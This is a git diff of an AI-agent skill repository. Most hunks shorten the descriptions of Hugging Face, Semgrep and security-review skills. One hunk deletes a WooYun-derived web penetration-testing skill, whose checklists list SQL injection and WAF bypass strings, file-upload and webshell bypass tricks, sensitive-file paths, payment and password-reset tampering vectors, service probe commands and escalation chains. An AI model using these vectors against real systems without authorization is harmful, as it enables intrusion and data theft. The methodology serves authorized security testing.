b/skills/hf-cloud-serving-image-selection/SKILL.md @@ -1,6 +1,6 @@ --- name: hf-cloud-serving-image-selection -description: 'Pick the right serving container for a SageMaker model deployment and find its current image URI. Use this skill whenever about to deploy a model to a SageMaker endpoint and an image URI needs to be chosen — including when the user says "deploy this LLM", "host this HuggingFace model", "serve this fine-tuned model", "deploy this embedding model", "host a reranker", "serve a sentence-transformers model", or when about to hardcode any container URI in deployment code. HuggingFace-curated Deep Learning Containers are ALWAYS preferred: HuggingFace vLLM (LLMs and generative rerankers), HuggingFace vLLM-Omni (multimodal), TEI (embeddings/cross-encoder rerankers), HF Inference Toolkit (other transformers). Generic images (AWS vLLM, DJL-LMI, SGLang) are used only when no HuggingFace image is compatible — never merely because they carry a newer version. Never hardcode a container URI from memory and never default to TGI. Prevents stale-image failures and wrong-region URIs.' +description: "Select and verify the current region-specific serving container URI for a SageMaker model deployment. Use after the deployment pathway is chosen and before endpoint code; never infer an image URI from memory." license: Apache-2.0 (modified; see UPSTREAMS.json) --- diff --git a/skills/huggingface-best/SKILL.md b/skills/huggingface-best/SKILL.md index 610dde3..868137b 100644 --- a/skills/huggingface-best/SKILL.md +++ b/skills/huggingface-best/SKILL.md @@ -1,6 +1,6 @@ --- name: huggingface-best -description: "Use when the user asks about finding the best, top, or recommended model for a task, wants to know what AI model to use, or wants to compare models by benchmark scores. Triggers on: \"best model for X\", \"what model should I use for\", \"top models for [task]\", \"which model runs on my laptop/machine/device\", \"recommend a model for\", \"what LLM should I use for\", \"compare models for\", \"what's state of the art for\", or any question about choosing an AI model for a specific use case. Always use this skill when the user wants model recommendations or comparisons, even if they don't explicitly mention HuggingFace or benchmarks." +description: "Find and compare recommended Hugging Face models for a task using benchmarks, model size, and device constraints. Use for model selection questions; use huggingface-local-models for GGUF setup and hf-cli for Hub operations." license: Apache-2.0 (modified; see UPSTREAMS.json) --- diff --git a/skills/huggingface-llm-trainer/SKILL.md b/skills/huggingface-llm-trainer/SKILL.md index 4545c1a..61bca8b 100644 --- a/skills/huggingface-llm-trainer/SKILL.md +++ b/skills/huggingface-llm-trainer/SKILL.md @@ -1,6 +1,6 @@ --- name: huggingface-llm-trainer -description: Train or fine-tune language and vision models using TRL (Transformer Reinforcement Learning) or Unsloth with Hugging Face Jobs infrastructure. Covers SFT, DPO, GRPO and reward modeling training methods, plus GGUF conversion for local deployment. Includes guidance on the TRL Jobs package, UV scripts with PEP 723 format, dataset preparation and validation, hardware selection, cost estimation, Trackio monitoring, Hub authentication, model selection/leaderboards and model persistence. Use for tasks involving cloud GPU training, GGUF conversion, or when users mention training on Hugging Face Jobs without local GPU setup. +description: "Train or fine-tune language models with TRL or Unsloth on Hugging Face Jobs, including SFT, DPO, GRPO, reward models, and GGUF conversion. Use for cloud LLM training; use huggingface-vision-trainer for vision tasks." license: Apache-2.0 (modified; see UPSTREAMS.json) --- diff --git a/skills/huggingface-lora-space-builder/SKILL.md b/skills/huggingface-lora-space-builder/SKILL.md index 7e4242b..0d7e6bb 100644 --- a/skills/huggingface-lora-space-builder/SKILL.md +++ b/skills/huggingface-lora-space-builder/SKILL.md @@ -1,6 +1,6 @@ --- name: huggingface-lora-space-builder -description: Build and publish a Gradio demo on Hugging Face Spaces for a user-provided LoRA. Use when someone asks to create, generate, ship, or publish a Space, demo, Gradio app, or playground for a LoRA — including LoRAs for Qwen-Image, Qwen-Image-Edit, LTX-Video, Wan, FLUX, SDXL, or other diffusion base models. Also triggers when someone describes a LoRA they trained or hosts on the Hub and wants to share it. Covers picking the right base pipeline and `diffusers` inference recipe, designing a UI tailored to the LoRA's task and inputs (Union/multi-task control, edit, video, image, etc.), respecting model-card recommendations (trigger words, steps, guidance, LoRA scale, example inputs), and shipping to ZeroGPU hardware as a private Space by default. +description: "Build and publish a Gradio Hugging Face Space for a user-provided image or video LoRA, including pipeline selection and model-card settings. Use for LoRA demos; use huggingface-spaces for general Space work." license: Apache-2.0 (modified; see UPSTREAMS.json) --- @@ -392,4 +392,4 @@ The smoke-test exists to convert these from "user discovers it and reports back" - Uploading the LoRA weights into the Space repo. Pull from the LoRA's own Hub repo at runtime. - Asking for the HF token only at the end, then discovering the LoRA was private all along and you couldn't read the model card. - Exposing every diffusers knob. Pick the 1–3 controls that matter for this LoRA. -- Long preambles in the chat reply once the Space is published. The Space URL is the deliverable; keep the wrap-up brief. \ No newline at end of file +- Long preambles in the chat reply once the Space is published. The Space URL is the deliverable; keep the wrap-up brief. diff --git a/skills/huggingface-spaces/SKILL.md b/skills/huggingface-spaces/SKILL.md index 871c96d..c81dd6d 100644 --- a/skills/huggingface-spaces/SKILL.md +++ b/skills/huggingface-spaces/SKILL.md @@ -1,6 +1,6 @@ --- name: huggingface-spaces -description: Build, deploy, and maintain applications on Hugging Face Spaces — Gradio / Docker / Static SDKs, ZeroGPU and dedicated hardware, model loading, debugging, buckets, inference providers, community grants. Use whenever the user asks to create or host an app on Hugging Face, port code onto ZeroGPU, fix a Space that won't build or run, or otherwise work with `hf spaces …`, `@spaces.GPU`, Space README frontmatter, or the `spaces` Python package. +description: "Build, deploy, debug, or maintain a Hugging Face Space using Gradio, Docker, or Static SDKs. Use for general Space hosting and configuration; use huggingface-zerogpu for ZeroGPU runtime constraints and lora-space-builder for LoRA demos." license: Apache-2.0 (modified; see UPSTREAMS.json) --- diff --git a/skills/huggingface-vision-trainer/SKILL.md b/skills/huggingface-vision-trainer/SKILL.md index 26e88f4..88da8e7 100644 --- a/skills/huggingface-vision-trainer/SKILL.md +++ b/skills/huggingface-vision-trainer/SKILL.md @@ -1,6 +1,6 @@ --- name: huggingface-vision-trainer -description: Trains and fine-tunes vision models for object detection (D-FINE, RT-DETR v2, DETR, YOLOS), image classification (timm models — MobileNetV3, MobileViT, ResNet, ViT/DINOv3 — plus any Transformers classifier), and SAM/SAM2 segmentation using Hugging Face Transformers on Hugging Face Jobs cloud GPUs. Covers COCO-format dataset preparation, Albumentations augmentation, mAP/mAR evaluation, accuracy metrics, SAM segmentation with bbox/point prompts, DiceCE loss, hardware selection, cost estimation, Trackio monitoring, and Hub persistence. Use when users mention training object detection, image classification, SAM, SAM2, segmentation, image matting, DETR, D-FINE, RT-DETR, ViT, timm, MobileNet, ResNet, bounding box models, or fine-tuning vision models on Hugging Face Jobs. +description: "Train object-detection, image-classification, or SAM segmentation models on Hugging Face Jobs. Use for vision fine-tuning and evaluation; use huggingface-llm-trainer for language models." license: Apache-2.0 (modified; see UPSTREAMS.json) --- diff --git a/skills/huggingface-zerogpu/SKILL.md b/skills/huggingface-zerogpu/SKILL.md index 1b8a3cd..080f7e3 100644 --- a/skills/huggingface-zerogpu/SKILL.md +++ b/skills/huggingface-zerogpu/SKILL.md @@ -1,6 +1,6 @@ --- name: huggingface-zerogpu -description: AI demos and GPU compute with Gradio Spaces and Hugging Face Spaces ZeroGPU. Use when writing or reviewing code that uses `@spaces.GPU`, configuring `python_version` or `requirements.txt` for a ZeroGPU Space, or handling ZeroGPU-specific code constraints — pickle-based process isolation, `gr.State` semantics across the worker boundary, no `torch.compile` (use AoTI instead), CUDA wheel-only builds (no `nvcc` at build or runtime), large vs xlarge sizing, and dynamic duration callables. Make sure to use this skill whenever the user mentions ZeroGPU, `@spaces.GPU`, or the `spaces` Python package, or hits ZeroGPU-specific code errors like `PicklingError` across the worker boundary, `illegal duration`, or `flash-attn` wheel-build failures — even when the user does not explicitly ask for ZeroGPU coding guidance. Trigger on `import spaces` or `@spaces.GPU` in code. +description: "Implement or debug Hugging Face Spaces ZeroGPU code using `@spaces.GPU`, including isolation, state, duration, sizing, and CUDA-wheel constraints. Use for ZeroGPU-specific behavior; use huggingface-spaces for general hosting." license: Apache-2.0 (modified; see UPSTREAMS.json) --- diff --git a/skills/security-threat-model/SKILL.md b/skills/security-threat-model/SKILL.md index cd2eb21..800652a 100644 --- a/skills/security-threat-model/SKILL.md +++ b/skills/security-threat-model/SKILL.md @@ -1,6 +1,6 @@ --- name: security-threat-model -description: "Repository-grounded threat modeling that enumerates trust boundaries, assets, attacker capabilities, abuse paths, and mitigations, and writes a concise Markdown threat model. Trigger only when the user explicitly asks to threat model a codebase or path, enumerate threats/abuse paths, or perform AppSec threat modeling. Do not trigger for general architecture summaries, code review, or non-security design work." +description: "Create a repository-grounded AppSec threat model covering assets, trust boundaries, attackers, abuse paths, and mitigations. Use only for explicit threat-modeling requests, not general architecture or code review." license: MIT (modified; see UPSTREAMS.json) --- diff --git a/skills/semgrep/SKILL.md b/skills/semgrep/SKILL.md index 786d0e6..11d462f 100644 --- a/skills/semgrep/SKILL.md +++ b/skills/semgrep/SKILL.md @@ -1,6 +1,6 @@ --- name: semgrep -description: "Run Semgrep static analysis scan on a codebase using parallel subagents. Supports two scan modes — \"run all\" (full ruleset coverage) and \"important only\" (high-confidence security vulnerabilities). Automatically detects and uses Semgrep Pro for cross-file taint analysis when available. Use when asked to scan code for vulnerabilities, run a security audit with Semgrep, find bugs, or perform static analysis. Spawns parallel workers for multi-language codebases." +description: "Run Semgrep static analysis across a codebase, optionally using Semgrep Pro for cross-file taint analysis. Use when Semgrep or a static-analysis scan is requested; use security-review for a manual audit." license: MIT (modified; see UPSTREAMS.json) --- diff --git a/skills/sharp-edges/SKILL.md b/skills/sharp-edges/SKILL.md index 5752f0f..d4272a6 100644 --- a/skills/sharp-edges/SKILL.md +++ b/skills/sharp-edges/SKILL.md @@ -1,6 +1,6 @@ --- name: sharp-edges -description: Identifies error-prone APIs, dangerous configurations, and footgun designs that enable security mistakes. Use when reviewing API designs, configuration schemas, cryptographic library ergonomics, or evaluating whether code follows "secure by default" and "pit of success" principles. Triggers: footgun, misuse-resistant, secure defaults, API usability, dangerous configuration. +description: "Identify error-prone APIs, dangerous configuration, and footgun designs that enable security mistakes. Use for API ergonomics, misuse resistance, secure defaults, or pit-of-success reviews; use code-review for general defects." license: MIT (modified; see UPSTREAMS.json) --- diff --git a/skills/train-sentence-transformers/SKILL.md b/skills/train-sentence-transformers/SKILL.md index ee38284..e4f18b1 100644 --- a/skills/train-sentence-transformers/SKILL.md +++ b/skills/train-sentence-transformers/SKILL.md @@ -1,6 +1,6 @@ --- name: train-sentence-transformers -description: Train or fine-tune sentence-transformers models across `SentenceTransformer` (bi-encoder; dense or static embedding model; for retrieval, similarity, clustering, classification, paraphrase mining, dedup, multimodal), `CrossEncoder` (reranker; pair scoring for two-stage retrieval / pair classification), and `SparseEncoder` (SPLADE, sparse embedding model; for learned-sparse retrieval). Covers loss selection, hard-negative mining, evaluators, distillation, LoRA, Matryoshka, and Hugging Face Hub publishing. Use for any sentence-transformers training task. +description: "Train or fine-tune SentenceTransformer bi-encoders, CrossEncoder rerankers, or SparseEncoder models, including losses, negatives, evaluation, distillation, LoRA, and Matryoshka. Use for sentence-transformers training tasks." license: Apache-2.0 (modified; see UPSTREAMS.json) --- diff --git a/skills/transformers-js/SKILL.md b/skills/transformers-js/SKILL.md index f18ce36..140cafa 100644 --- a/skills/transformers-js/SKILL.md +++ b/skills/transformers-js/SKILL.md @@ -1,6 +1,6 @@ --- name: transformers-js -description: Use Transformers.js to run state-of-the-art machine learning models directly in JavaScript/TypeScript. Supports NLP (text classification, translation, summarization), computer vision (image classification, object detection), audio (speech recognition, audio classification), and multimodal tasks. Works in browsers and server-side runtimes (Node.js, Bun, Deno) with WebGPU/WASM using pre-trained models from Hugging Face Hub. +description: "Run Hugging Face models in JavaScript or TypeScript with Transformers.js, WebGPU, or WASM across browser, Node.js, Bun, and Deno. Use for client-side or JS-runtime inference, not Python training." license: Apache-2.0 (modified; see UPSTREAMS.json) --- diff --git a/skills/vuln-report/SKILL.md b/skills/vuln-report/SKILL.md index ebc9f45..08ae79e 100644 --- a/skills/vuln-report/SKILL.md +++ b/skills/vuln-report/SKILL.md @@ -1,6 +1,6 @@ --- name: vuln-report -description: Draft a single-vulnerability report in GitHub advisory style from an audit finding, bug note, patch diff, PoC, or code review evidence. Use when the agent needs to turn one confirmed security issue into a clean disclosure-ready report with Summary, Details, Root Cause, Proof of Concept, Impact, embedded code snippets, explanatory prose that points to the vulnerable code, inline GitHub markdown links to source evidence, and clearly-scoped optional sections such as CWE, CVSS, references, attack preconditions, or patch metadata. +description: "Turn one confirmed security finding into a disclosure-ready GitHub advisory with root cause, proof of concept, impact, and source evidence. Use for reporting an established vulnerability, not discovering or validating one." license: MIT (modified; see UPSTREAMS.json) --- diff --git a/skills/wooyun-legacy/SKILL.md b/skills/wooyun-legacy/SKILL.md deleted file mode 100644 index 355f38c..0000000 --- a/skills/wooyun-legacy/SKILL.md +++ /dev/null @@ -1,357 +0,0 @@ ---- -name: wooyun-legacy -description: "Provides web vulnerability testing methodology distilled from 88,636 real-world cases from the WooYun vulnerability database (2010-2016). Use when performing penetration testing, security audits, code reviews for security flaws, or vulnerability research. Covers SQL injection, XSS, command execution, file upload, path traversal, unauthorized access, information disclosure, and business logic flaws." -license: MIT (modified; see UPSTREAMS.json) ---- - -# WooYun Vulnerability Analysis Knowledge Base - -Methodology and testing patterns extracted from 88,636 real-world -vulnerability cases reported to the WooYun platform (2010-2016). - ---- - -## When to Use - -> All testing described here must be performed only against systems you -> have written authorization to test. - -- Penetration testing web applications -- Security code review (server-side or client-side) -- Vulnerability research against web targets you have explicit authorization to test -- Building security test cases or checklists -- Assessing web application attack surface -- Reviewing remediation effectiveness -- Training or education in authorized security testing contexts - -## When NOT to Use - -- Network infrastructure testing (firewalls, routers, switches) -- Mobile application binary analysis -- Malware analysis or reverse engineering -- Compliance-only assessments (PCI-DSS, SOC2 checklists without testing) -- Physical security assessments -- Social engineering campaigns -- Cloud infrastructure misconfigurations (IAM, S3 buckets) — these - require cloud-specific tooling, not web vuln patterns - -## Rationalizations to Reject - -These shortcuts lead to missed findings. Reject them: - -- "The WAF will catch it" — WAFs are bypass-able; test the application - logic, not the middleware -- "It's an internal app, so auth doesn't matter" — internal apps get - compromised via SSRF, lateral movement, and credential reuse -- "We already use parameterized queries everywhere" — check for ORM - misuse, stored procedures with dynamic SQL, and second-order injection -- "The framework handles XSS" — template engines have raw output modes, - JavaScript contexts bypass HTML encoding, and DOM XSS lives - entirely client-side -- "File uploads are safe because we check the extension" — extension - checks are bypassed via null bytes, double extensions, parser - discrepancies, and race conditions -- "We validate on the frontend" — client-side validation is a UX - feature, not a security control -- "Nobody would guess that URL" — security through obscurity fails - against directory bruteforcing, referrer leaks, and JS source analysis -- "Low severity, not worth reporting" — low-severity findings chain - into critical attack paths - ---- - -## Core Mental Model - -``` -Vulnerability = Expected Behavior - Actual Behavior - = Developer Assumptions + Attacker Input -> Unexpected State - -Analysis chain: -1. Where does data come from? (Input sources) - -> GET/POST/Cookie/Header/File/WebSocket -2. Where does data flow? (Data path) - -> Validation -> Processing -> Storage -> Output -3. Where is data trusted? (Trust boundaries) - -> Client / Server / Database / OS / External service -4. How is data processed? (Processing logic) - -> Filter / Escape / Validate / Execute -5. Where does data end up? (Output sinks) - -> HTML / SQL / Shell / Filesystem / Log / Email -``` - ---- - -## Attack Surface Mapping - -``` - +=============================================+ - | Application Attack Surface | - +=============================================+ - | - +-----------------------+-----------------------+ - | | | - +----v----+ +-----v-----+ +-----v-----+ - | Input | | Processing| | Output | - +---------+ +-----------+ +-----------+ - | GET | | Input | | HTML page | - | POST | -> | validation| -> | JSON resp | - | Cookie | | Biz logic | | File DL | - | Headers | | DB query | | Error msg | - | File | | File op | | Log entry | - | Upload | | Sys call | | Email | - +=========+ +===========+ +===========+ -``` - ---- - -## SQL Injection - -**Cases:** 27,732 | **Reference:** [sql-injection.md](references/sql-injection.md) -| **Checklist:** [sql-injection-checklist.md](references/checklists/sql-injection-checklist.md) - -High-risk parameters: `id`, `sort_id`, `username`, `password`, `search`, -`keyword`, `page`, `order`, `cat_id` - -Injection point detection: -- String terminators: `' " ) ') ") -- # /*` -- DB fingerprint: `@@version` (MSSQL), `version()` (MySQL), - `v$version` (Oracle) - -Bypass techniques: -- Whitespace: `/**/ %09 %0a ()` -- Keywords: `SeLeCt sel%00ect /*!select*/` -- Equals: `LIKE REGEXP BETWEEN IN` -- Quotes: `0x` hex, `char()`, `concat()` - -Core defense: parameterized queries (PreparedStatement / ORM binding). - ---- - -## Cross-Site Scripting (XSS) - -**Cases:** 7,532 | **Reference:** [xss.md](references/xss.md) -| **Checklist:** [xss-checklist.md](references/checklists/xss-checklist.md) - -Output points: user profile fields (nickname, bio), search reflections, -file metadata (filename, alt text), email content (subject, body) - -Bypass techniques: -- Tag mutation: ` - - - - - - -``` - -## Testing Methodology -1. Identify all state-changing endpoints (POST and GET) -2. Check for CSRF tokens in requests -3. Remove/modify token and replay -- does it still succeed? -4. Check if GET method is accepted for POST endpoints -5. Test Referer header removal and spoofing -6. Verify token is bound to current session -7. Test OAuth flows for missing `state` parameter - -## Common Root Causes -- Developer trusts frontend to prevent duplicate submissions -- Token added to form HTML but never validated server-side -- Reliance on Referer header (easily stripped) -- GET endpoints for state-changing operations -- No re-authentication for sensitive operations (password change) diff --git a/skills/wooyun-legacy/references/checklists/file-upload-checklist.md b/skills/wooyun-legacy/references/checklists/file-upload-checklist.md deleted file mode 100644 index fdacfaa..0000000 --- a/skills/wooyun-legacy/references/checklists/file-upload-checklist.md +++ /dev/null @@ -1,108 +0,0 @@ -# File Upload Testing Checklist -> Derived from 30 real-world vulnerability cases (WooYun 2010-2016) - -## High-Risk Parameters to Test -| Parameter | Context | Notes | -|-----------|---------|-------| -| `Filedata` | Multipart upload | Standard upload field name | -| `method` | Upload handler dispatch | Method parameter in upload APIs | -| `Connector` | FCKEditor connector | CMS file manager connectors | -| `LMID` / `varnum` / `ids` | Upload form fields | Auxiliary parameters | -| `password` / `c` / `m` | Auth + upload | Combined auth bypass + upload | - -## Attack Pattern Distribution -| Pattern | Count | Percentage | -|---------|-------|------------| -| Unrestricted file upload | 6 | 40% | -| Getshell via upload | 3 | 20% | -| Extension bypass | 3 | 20% | -| Weak auth + upload | 1 | 7% | -| Directory traversal + upload | 1 | 7% | - -## Common Upload Bypass Techniques - -### 1. Client-Side Only Validation (~35% of cases) -The most common flaw: JavaScript-only file type checks with no server-side validation. -- Bypass: Intercept request with proxy, change filename extension -- Bypass: Disable JavaScript and submit directly - -### 2. Null Byte Truncation -``` -shell.php%00.jpg (PHP < 5.3.4) -shell.jsp%00.txt (older Java containers) -shell.asp%00.jpg (IIS + ASP) -``` - -### 3. Extension Bypass -``` -.php5, .phtml, .pht (PHP alternatives) -.jspx, .jspa, .jsw (JSP alternatives) -.asp, .asa, .cer, .cdx (ASP/IIS alternatives) -.aspx, .ashx, .asmx (ASP.NET alternatives) -``` - -### 4. WAF Bypass via Extended ASCII -Append extended ASCII characters after the extension: -``` -shell.php[0x7f] (DEL character) -shell.php[0xcc] (extended ASCII) -shell.php[0x88] (extended ASCII) -``` -Confirmed to bypass security products on Windows+Apache. - -### 5. Content-Type Manipulation -``` -Content-Type: image/jpeg (while uploading .php) -Content-Type: image/gif (with GIF89a header prepended) -``` - -### 6. Double Extension / Path Manipulation -``` -shell.php.jpg (Apache misconfiguration) -shell.jpg/.php (Nginx parsing vulnerability) -../shell.php (path traversal in filename) -``` - -## Common Vulnerable Upload Endpoints -``` -/upload.jsp -/excelUpload.jsp (OA systems) -/uploadImageFile_do.jsp (CMS systems) -/kindeditor/upload_json (rich text editors) -/fckeditor/editor/filemanager/connectors/ -/ueditor/controller (UEditor) -/regist/expappend_file.jsp -``` - -## Quick Test Vectors -``` -1. Upload .php/.jsp file with valid image Content-Type -2. Upload file.php%00.jpg (null byte truncation) -3. Upload file.phtml / file.php5 (alternative extensions) -4. Upload with ../ in filename (path traversal) -5. Prepend GIF89a to PHP webshell (magic byte bypass) -6. Upload .htaccess to enable PHP execution in upload dir -7. Test double extension: file.php.jpg -``` - -## Post-Upload Verification -- Determine upload path from response or predictable naming -- Check if uploaded file is directly accessible via HTTP -- Check if file extension is preserved or renamed -- Check if file content is re-processed (image resize strips code) - -## High-Value Targets -- **OA/Enterprise systems**: Excel/document upload features -- **CMS admin panels**: Image/file upload in content editors -- **Government procurement systems**: Attachment upload in bid submissions -- **Hospital/edu systems**: Document submission portals -- **Rich text editors**: FCKEditor, KindEditor, UEditor connectors - -## Root Causes -| Cause | Frequency | -|-------|-----------| -| Client-side only validation | Most common | -| No server-side extension check | Very common | -| Allowlist not enforced on server | Common | -| Predictable upload paths | Common | -| Upload directory allows execution | Common | diff --git a/skills/wooyun-legacy/references/checklists/info-disclosure-checklist.md b/skills/wooyun-legacy/references/checklists/info-disclosure-checklist.md deleted file mode 100644 index 7632aee..0000000 --- a/skills/wooyun-legacy/references/checklists/info-disclosure-checklist.md +++ /dev/null @@ -1,114 +0,0 @@ -# Information Disclosure Testing Checklist -> Derived from ~56 real-world vulnerability cases (WooYun 2010-2016) - -## High-Risk Parameters to Test -| Parameter | Context | -|-----------|---------| -| `id`, `uid` | Sequential resource identifiers | -| `order_id`, `orderId` | Order enumeration | -| `callback` | JSONP endpoints leaking user data | -| `method` | API method selectors | -| `p`, `page` | Pagination revealing total counts | -| `inputFile` | File read endpoints | -| `query`, `q` | Search endpoints reflecting data | - -## Common Attack Patterns (by frequency) -1. **Source code/config exposure** (most common) - - `.svn/entries` or `.svn/wc.db` accessible - - `.git/config` or `.git/HEAD` accessible - - Backup files: `*.bak`, `*.sql`, `*.tar.gz`, `website.rar` - - `web.config`, `database.php`, `.env` exposed -2. **Log file exposure** - - Application logs containing sessions, credentials - - Debug endpoints left enabled in production -3. **API data over-exposure** - - JSONP endpoints returning user data cross-origin - - API responses including more fields than UI displays - - Sequential ID enumeration on order/user endpoints -4. **Database credential leak** - - Config files with plaintext DB credentials - - Error messages revealing connection strings - - GitHub/code repository credential exposure -5. **Session/credential leak** - - Session tokens in log files - - Credentials in URL parameters (GET requests) - - Default management passwords in documentation - -## Source Control Exposure -| Path | Tool | Risk | -|------|------|------| -| `.svn/entries` | SVN | Source code + history | -| `.svn/wc.db` | SVN 1.7+ | SQLite with full paths | -| `.git/config` | Git | Remote URLs, credentials | -| `.git/HEAD` | Git | Branch info, clone source | -| `.DS_Store` | macOS | Directory listing | -| `.idea/` | JetBrains | Project config, DB creds | -| `WEB-INF/web.xml` | Java | Servlet mappings, config | - -## Quick Test Vectors -``` -# Source control files -/.svn/entries -/.svn/wc.db -/.git/config -/.git/HEAD -/.DS_Store - -# Backup files -/backup.sql -/backup.tar.gz -/website.rar -/db.sql -/dump.sql -/*.bak - -# Configuration files -/web.config -/wp-config.php -/config/database.yml -/application.properties -/.env -/phpinfo.php - -# Log files -/logs/ -/log/ -/debug.log -/error.log -/seeyon/logs/ctp.log - -# JSONP data leak -/api/userinfo?callback=test - -# GitHub search for credentials -site:github.com "company.com" password -site:github.com "company.com" smtp -``` - -## Testing Methodology -1. Enumerate common sensitive file paths (source control, backups, configs) -2. Check for directory listing on all discovered directories -3. Search GitHub/GitLab for organization credential leaks -4. Test JSONP endpoints for cross-origin data exposure -5. Check error pages for stack traces and config details -6. Probe log file locations for session/credential leakage -7. Test sequential ID enumeration on data endpoints -8. Check API responses for excessive data exposure -9. Scan for debug/admin endpoints left in production - -## Information Escalation Chain -``` -Source code leak → Database credentials → Full database access -GitHub credential leak → Email access → VPN/internal access -Log file exposure → Session tokens → Account takeover -JSONP endpoint → User data → Credential stuffing -``` - -## Common Root Causes -- Development files (.svn, .git) deployed to production -- Backup files stored in web-accessible directories -- Debug/logging features enabled in production -- JSONP endpoints without access control -- Error messages revealing internal details -- Credentials committed to public code repositories -- Default management interfaces left accessible diff --git a/skills/wooyun-legacy/references/checklists/logic-flaws-checklist.md b/skills/wooyun-legacy/references/checklists/logic-flaws-checklist.md deleted file mode 100644 index 4f64825..0000000 --- a/skills/wooyun-legacy/references/checklists/logic-flaws-checklist.md +++ /dev/null @@ -1,95 +0,0 @@ -# Logic Flaws Testing Checklist -> Derived from ~85 real-world vulnerability cases (WooYun 2010-2016) - -## High-Risk Parameters to Test -| Parameter | Context | -|-----------|---------| -| `code`, `validatecode` | SMS/email verification codes | -| `password`, `newPwd` | Password reset flows | -| `sign`, `timestamp` | Request signing mechanisms | -| `v`, `from` | Version/source parameters | -| `adultNum`, `childNum` | Quantity fields in orders | -| `amount`, `price` | Payment amounts | -| `token`, `newMobile` | Session/binding tokens | -| `flag`, `phone` | Password recovery flow control | - -## Common Attack Patterns (by frequency) -1. **Arbitrary password reset** (most common) - - Verification code leaked in response - - Short/numeric verification codes (4-digit) with no rate limiting - - Verification not bound to phone/account - - Client-side verification bypass (modify response) -2. **Payment amount tampering** - - Price sent in client request, not validated server-side - - Negative quantity to reduce total - - Race condition in cart/checkout flow -3. **SMS/verification code abuse** - - No rate limit on code sending (SMS bombing) - - No expiration on verification codes - - Code reuse across different operations -4. **Authorization bypass (IDOR)** - - Sequential user/order IDs enable enumeration - - Delete/modify operations lack ownership check -5. **Client-side trust** - - JavaScript validation only, no server-side check - - Response manipulation to bypass checks - -## Bypass Techniques -- **Response tampering**: Intercept and change server response (e.g., `false` to `true`) -- **Verification code brute-force**: 4-digit codes = 10,000 attempts, often no lockout -- **Base64 encoded codes**: Decode, enumerate, re-encode -- **Negative values**: Set quantity to `-1` to create credit -- **Step skipping**: Jump directly to final step of multi-step process -- **Parameter pollution**: Submit same parameter twice with different values -- **IP spoofing**: `X-Forwarded-For` to bypass IP-based restrictions - -## Quick Test Vectors -``` -# Password reset - verify code in response -1. Initiate reset, capture response -2. Check if verification code appears in JSON/HTML response - -# Brute-force short verification codes -POST /verify?phone=TARGET&code=FUZZ -# Fuzz 0000-9999 with no rate limiting - -# Payment tampering -# Original: amount=19900 (199.00) -# Modified: amount=1 (0.01) - -# Negative quantity -# Original: count=1 -# Modified: count=-1 - -# Skip verification step -# Go directly to /reset/step3 without completing step2 - -# Response manipulation -# Change {"result":"fail"} to {"result":"success"} -``` - -## Testing Methodology -1. Map all multi-step flows (registration, password reset, payment) -2. Test each step independently -- can steps be skipped? -3. Check if verification codes appear in responses -4. Test rate limiting on verification endpoints -5. Attempt parameter tampering on price/quantity fields -6. Verify server-side validation matches client-side -7. Check IDOR on all endpoints with user/object IDs -8. Test for race conditions on balance/inventory operations - -## High-Impact Targets -- Password reset/recovery flows -- Payment and checkout processes -- SMS verification endpoints -- Account binding (email, phone, OAuth) -- Admin operations without re-authentication -- Coupon/discount redemption - -## Common Root Causes -- Verification logic in client-side JavaScript only -- Verification codes returned in API responses -- No rate limiting on authentication attempts -- Price/amount accepted from client without server-side recalculation -- Sequential predictable IDs without authorization checks -- Multi-step processes that don't validate completion of prior steps diff --git a/skills/wooyun-legacy/references/checklists/misconfig-checklist.md b/skills/wooyun-legacy/references/checklists/misconfig-checklist.md deleted file mode 100644 index ec1a12b..0000000 --- a/skills/wooyun-legacy/references/checklists/misconfig-checklist.md +++ /dev/null @@ -1,124 +0,0 @@ -# Misconfiguration Testing Checklist -> Derived from ~41 real-world vulnerability cases (WooYun 2010-2016) - -## High-Risk Parameters to Test -| Parameter | Context | -|-----------|---------| -| `password`, `pwd` | Login forms for default creds | -| `cmd` | Command execution interfaces | -| `comment` | Input fields on exposed panels | -| `service` | Service selectors | -| `ObjName`, `MODE` | Management interface parameters | - -## Common Misconfiguration Categories - -### 1. Exposed Management Interfaces -| Service | Path/Port | Risk | -|---------|-----------|------| -| WebLogic Console | `:7001/console` | WAR deploy → shell | -| JBoss JMX | `/jmx-console/`, `/invoker/JMXInvokerServlet` | RCE | -| Tomcat Manager | `/manager/html` | WAR deploy → shell | -| phpMyAdmin | `/phpmyadmin/` | Database access | -| Struts2 | `/devmode.action` | RCE via OGNL | -| Spring Actuator | `/actuator/env` | Credential leak | -| Druid Monitor | `/druid/` | SQL query monitor | - -### 2. DNS Zone Transfer -```bash -# Test for DNS zone transfer -dig axfr @ns1.target.com target.com -dig axfr @ns2.target.com target.com -# Reveals all DNS records, internal hostnames, IP addresses -``` - -### 3. Directory Listing -- Web server directory indexing enabled -- Backup directories accessible (`/backup/`, `/bak/`) -- Upload directories browsable (`/upload/`, `/uploads/`) - -### 4. Service Exposure (No Authentication) -| Service | Port | Check | -|---------|------|-------| -| MongoDB | 27017 | `mongo TARGET:27017` | -| Redis | 6379 | `redis-cli -h TARGET` | -| Memcached | 11211 | `telnet TARGET 11211` | -| Elasticsearch | 9200 | `curl TARGET:9200` | -| Rsync | 873 | `rsync TARGET::` | -| FTP Anonymous | 21 | `ftp TARGET` (anonymous) | -| Docker API | 2375 | `curl TARGET:2375/info` | - -### 5. IIS/Apache Specific -- IIS short filename disclosure (`~1` enumeration) -- IIS write permission enabled (PUT method) -- Apache `.htaccess` bypass -- `crossdomain.xml` / `clientaccesspolicy.xml` overly permissive -- Server-status/server-info pages exposed - -## Quick Test Vectors -``` -# Management interfaces -/console/ -/manager/html -/jmx-console/ -/admin/ -/phpmyadmin/ -/invoker/JMXInvokerServlet - -# Configuration files -/web.xml -/web.config -/crossdomain.xml -/robots.txt -/sitemap.xml - -# Debug/info endpoints -/phpinfo.php -/info.php -/server-status -/server-info -/.env - -# DNS zone transfer -dig axfr @ns1.target.com target.com - -# Service scan (common misconfig ports) -nmap -sV -p 21,873,2375,6379,8080,9200,11211,27017 TARGET - -# FTP anonymous access -ftp TARGET # try anonymous / anonymous@ - -# Rsync enumeration -rsync TARGET:: -rsync TARGET::module_name/ -``` - -## Attack Escalation Paths -``` -JBoss JMXInvokerServlet → Deploy WAR → Webshell → Internal network -Rsync anonymous → Source code → Database credentials → Data -FTP anonymous → web.config → DB credentials → SQL access -MongoDB no-auth → User data dump → Credential reuse -Redis no-auth → CONFIG SET dir → Write webshell -DNS zone transfer → Internal hostnames → Targeted attacks -``` - -## Testing Methodology -1. Scan for common management interfaces and default ports 